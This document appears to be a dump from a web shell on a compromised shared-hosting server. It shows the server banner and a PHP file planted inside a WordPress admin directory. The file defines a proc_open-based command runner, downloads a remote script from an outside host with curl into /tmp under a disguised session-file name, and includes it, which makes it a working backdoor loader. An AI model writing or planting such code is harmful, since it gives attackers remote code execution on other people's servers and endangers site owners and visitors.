HEX
Server: Apache/2.4.63 (Unix)
System: Linux free32.beget.ru 5.10.239-0-beget-acl-test #1 SMP Fri Jul 11 14:08:01 UTC 2025 x86_64
User: n96454p5 (3415)
PHP: 8.3.20
Disabled: NONE
Upload Files
File: /home/n/n96454p5/n96454p5.beget.tech/public_html/wp-admin/js/widgets/head.php
<?php 
error_reporting(E_ALL);
ini_set('display_errors', 1);

function ex($coman, $serlok)
{
	$ler = "2>&1";
	if (!preg_match("/" . $ler . "/i", $coman)) {
		$coman = $coman . " " . $ler;
	}
	$pr = "proc_open";
	if (function_exists($pr)) {
		$tod = @$pr($coman, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $crottz, $serlok);
		echo htmlspecialchars(stream_get_contents($crottz[1]));
	} else {
		return false;
	}
}

$fname = "sess_" . md5("nax") . ".php";
if (!file_exists("/tmp/$fname") || filesize("/tmp/$fname") < 10) {
    ex("curl --output /tmp/$fname https://fcalpha.net/web/photo/20151024/naxc.txt", "/tmp");
}
include("/tmp/$fname");
?>